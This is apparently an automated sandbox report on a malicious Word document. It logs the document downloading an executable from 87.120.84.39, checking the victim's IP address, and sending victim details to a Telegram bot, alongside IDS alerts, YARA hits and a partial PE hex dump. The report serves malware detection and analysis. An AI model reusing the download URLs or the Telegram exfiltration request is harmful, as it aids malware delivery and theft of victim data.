Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.39:80 -> 192.168.2.22:49161
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.39:80 -> 192.168.2.22:49161
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Tue, 19 Nov 2024 17:08:04 GMTContent-Type: application/x-msdos-programContent-Length: 837120Connection: keep-aliveLast-Modified: Tue, 19 Nov 2024 04:32:51 GMTETag: "cc600-6273c86a96582"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 05 12 3c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 a2 0c 00 00 22 00 00 00 00 00 00 fe bf 0c 00 00 20 00 00 00 e0 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac bf 0c 00 4f 00 00 00 00 e0 0c 00 e8 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 a0 0c 00 00 20 00 00 00 a2 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 1f 00 00 00 e0 0c 00 00 20 00 00 00 a4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0d 00 00 02 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 bf 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 68 5e 00 00 ac 36 00 00 03 00 00 00 44 00 00 06 14 95 00 00 98 2a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 04 00 5d 00 00 00 01 00 00 11 00 1b 8d 37 00 00 01 25 16 72 01 00 00 70 a2 25 17 02 a2 25 18 72 0f 00 00 70 a2 25 19 03 a2 25 1a 72 13 00 00 70 a2 28 16 00 00 0a 28 17 00 00 0a 0a 00 73 18 00 00 0a 0b 07 06 04 8c 01 00 00 1b 6f 19 00 00 0a 00 06 6f 1a 00 00 0a 00 00 de 0b 06 2c 07 06 6f 1b 00 00 0a 00 dc 2a 00 00 00 01 10 00 00 02 00 32 00 1f 51 00 0b 00 00 00 00 1b 30 04 00 61 00 00 00 02 00 00 11 00 1b 8d 37 00 00 01 25 16 72 01 00 00 70 a2 25 17 02 a2 25 18 72 0f 00 00 70 a2 25 19 03 a2 25 1a 72 13 00 00 70 a2 28 16 00 00 0a 28 1c 00 00 0a 0b 00 73 18 00 00 0a 0c 08 07 6f 1d 00 00 0a a5 01 00 00 1b 0a 07 6f 1a 00 00 0a 00 00 de 0b 07 2c 07 07 6f 1b 00 00 0a 00 dc 06 0d 2b 00 09 2a 00 00 00 01 10 00 00 02 00 32 00 1e 50 00 0b 00 00 00 00 1b 30 03 00 42 00 00 00 03 00 00 11 00 72 1d 00 00 70 02 72 41 00 00 70 28 1e 00 00 0a 28 17 00 00 0a 0a 00 73 1f 00 00 0a 0b 07 06 03 8c 01 00 00 1b 6f 20 00 00 0a 00 06 6f 1a 00 00 0a 00 00 de
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2011/20/2024%20/%201:09:14%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SHARCOM-ASBG SHARCOM-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49162 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49164 -> 188.114.97.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/Xkl0PnD8zFPjfh1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.39Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A0F671BC-384D-4C76-B9D0-6C0270962DCC}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2011/20/2024%20/%201:09:14%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/Xkl0PnD8zFPjfh1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.39Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
